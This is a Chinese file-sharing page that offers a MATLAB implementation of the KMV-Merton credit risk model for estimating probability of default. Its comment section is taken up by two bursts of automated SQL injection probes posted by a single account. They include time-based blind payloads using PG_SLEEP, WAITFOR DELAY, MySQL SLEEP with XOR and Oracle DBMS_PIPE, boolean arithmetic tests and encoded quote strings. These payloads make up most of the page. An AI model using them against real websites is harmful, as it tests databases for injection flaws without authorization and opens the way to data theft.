上传资源管理资源个人信息

matlab实现KMV信用风险模型-违约概率-违约风险

收录时间：2022-11-22

资源分类：Matlab 工具：MATLAB 7.4 (R2007a)

matlab实现KMV信用风险模型-违约概率-违约风险

下载资源

KMV Credit Risk Model - Probability of Default - Default Risk

KMV-Merton model Probability of Default represented by Jin-Chuan Duan, Genevi`eve Gauthier and Jean-Guy Simonato (2005).

This code calculates the probability of default based on Moody’s KMV where firms equity follows a geometric Brownian motion presented by Merton and the probability of default is calculated bas on European call option of the firms market value. Newton-Raphson method is used to calculate the equity value provided the volatility of the equity.

文件下载列表

KMV_MODEL.zip (8.21KB)

附件内容(只显示4中的1个)

KMV_MODEL.m

更多

目前尚无评论

添加新评论

pPzjtkhv

2023-8-12 9:53:46

@@4GhB8

pPzjtkhv

2023-8-12 9:53:46

1��%2527%2522

pPzjtkhv

2023-8-12 9:53:41

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pPzjtkhv

2023-8-12 9:53:27

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pPzjtkhv

2023-8-12 9:53:15

sc1uW8tp')) OR 749=(SELECT 749 FROM PG_SLEEP(15))--

pPzjtkhv

2023-8-12 9:53:01

W06B9zPu') OR 62=(SELECT 62 FROM PG_SLEEP(15))--

pPzjtkhv

2023-8-12 9:52:47

7Y78TNkh' OR 208=(SELECT 208 FROM PG_SLEEP(15))--

pPzjtkhv

2023-8-12 9:52:35

-1)) OR 645=(SELECT 645 FROM PG_SLEEP(15))--

pPzjtkhv

2023-8-12 9:52:18

-5) OR 96=(SELECT 96 FROM PG_SLEEP(15))--

pPzjtkhv

2023-8-12 9:52:04

-5 OR 193=(SELECT 193 FROM PG_SLEEP(15))--

pPzjtkhv

2023-8-12 9:51:51

D3Mnxk05')); waitfor delay '0:0:15' --

pPzjtkhv

2023-8-12 9:51:33

tTbtcCDb'); waitfor delay '0:0:15' --

pPzjtkhv

2023-8-12 9:51:13

8JwE1NwK'; waitfor delay '0:0:15' --

pPzjtkhv

2023-8-12 9:50:53

1 waitfor delay '0:0:15' --

pPzjtkhv

2023-8-12 9:50:37

-1)); waitfor delay '0:0:15' --

pPzjtkhv

2023-8-12 9:50:17

-1); waitfor delay '0:0:15' --

pPzjtkhv

2023-8-12 9:49:54

-1; waitfor delay '0:0:15' --

pPzjtkhv

2023-8-12 9:49:40

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pPzjtkhv

2023-8-12 9:49:21

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pPzjtkhv

2023-8-12 9:49:02

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pPzjtkhv

2023-8-12 9:48:37

if(now()=sysdate(),sleep(15),0)

pPzjtkhv

2023-8-12 9:48:19

-1 OR 3*2>(0+5+738-738)

pPzjtkhv

2023-8-12 9:48:04

-1 OR 3*2<(0+5+738-738)

pPzjtkhv

2023-8-12 9:48:03

-1 OR 3+738-738-1=0+0+0+1

pPzjtkhv

2023-8-12 9:48:02

-1 OR 2+738-738-1=0+0+0+1

pPzjtkhv

2023-8-12 9:48:01

1*555

pPzjtkhv

2023-8-12 9:48:00

1*555

pPzjtkhv

2023-8-12 9:47:59

1*555

pPzjtkhv

2023-8-12 9:47:57

1*555

pPzjtkhv

2023-8-12 9:47:57

PEbhx8EQ

pPzjtkhv

2023-8-12 6:31:03

@@bRsKG

pPzjtkhv

2023-8-12 6:31:02

1��%2527%2522

pPzjtkhv

2023-8-12 6:31:00

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pPzjtkhv

2023-8-12 6:30:45

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pPzjtkhv

2023-8-12 6:30:33

5tYNBLPz')) OR 390=(SELECT 390 FROM PG_SLEEP(15))--

pPzjtkhv

2023-8-12 6:30:20

xQwwO2d9') OR 952=(SELECT 952 FROM PG_SLEEP(15))--

pPzjtkhv

2023-8-12 6:30:08

BbcwCy3A' OR 470=(SELECT 470 FROM PG_SLEEP(15))--

pPzjtkhv

2023-8-12 6:29:52

-1)) OR 907=(SELECT 907 FROM PG_SLEEP(15))--

pPzjtkhv

2023-8-12 6:29:37

-5) OR 315=(SELECT 315 FROM PG_SLEEP(15))--

pPzjtkhv

2023-8-12 6:29:22

-5 OR 788=(SELECT 788 FROM PG_SLEEP(15))--

pPzjtkhv

2023-8-12 6:29:10

tqApxyaI')); waitfor delay '0:0:15' --

pPzjtkhv

2023-8-12 6:28:57

CmHELhnT'); waitfor delay '0:0:15' --

pPzjtkhv

2023-8-12 6:28:44

kgkVw9J5'; waitfor delay '0:0:15' --

pPzjtkhv

2023-8-12 6:28:30

1 waitfor delay '0:0:15' --

pPzjtkhv

2023-8-12 6:28:15

-1)); waitfor delay '0:0:15' --

pPzjtkhv

2023-8-12 6:28:04

-1); waitfor delay '0:0:15' --

pPzjtkhv

2023-8-12 6:27:51

-1; waitfor delay '0:0:15' --

pPzjtkhv

2023-8-12 6:27:40

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pPzjtkhv

2023-8-12 6:27:28

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pPzjtkhv

2023-8-12 6:27:14

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pPzjtkhv

2023-8-12 6:27:02

if(now()=sysdate(),sleep(15),0)

pPzjtkhv

2023-8-12 6:26:49

-1 OR 3*2>(0+5+215-215)

pPzjtkhv

2023-8-12 6:26:48

-1 OR 3*2<(0+5+215-215)

pPzjtkhv

2023-8-12 6:26:47

-1 OR 3+215-215-1=0+0+0+1

pPzjtkhv

2023-8-12 6:26:46

-1 OR 2+215-215-1=0+0+0+1

pPzjtkhv

2023-8-12 6:26:46

1*555

pPzjtkhv

2023-8-12 6:26:45

1*555

pPzjtkhv

2023-8-12 6:26:44

1*555

pPzjtkhv

2023-8-12 6:26:44

1*555

pPzjtkhv

2023-8-12 6:26:43

7EkDprd1

用户反馈关于我们

Copyright (©) ZHIHUISHI.COM 2013 All Rights Reserved.
京ICP备18060134号-3